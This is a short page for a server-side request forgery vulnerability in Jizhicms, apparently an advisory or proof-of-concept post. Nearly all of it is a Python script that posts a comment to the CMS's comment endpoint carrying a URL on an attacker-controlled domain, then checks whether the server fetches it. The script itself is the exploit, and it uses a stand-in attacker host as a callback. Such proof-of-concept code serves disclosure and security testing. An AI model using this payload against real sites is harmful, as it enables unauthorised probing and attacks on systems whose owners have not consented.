CVE-2025-50228 Jizhicms服务端请求伪造漏洞

import requests # Target URL (Example: http://target.com/index.php/comment/add) target_url = "http://target.com/index.php/comment/add" # Attacker controlled server for monitoring DNS/HTTP requests (e.g., Burp Collaborator) attacker_server = "http://attacker-controlled-domain.com" # Payload attempting to trigger SSRF via the comment content field # Note: Parameter names may vary based on actual form implementation payload = { "content": "Check this out: " + attacker_server, "username": "ssrf_tester", "submit": "submit" } try: response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check your server logs to see if the target requested the URL.") print("[+] Response from target:", response.text[:200]) else: print("[-] Failed to send payload. Status code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")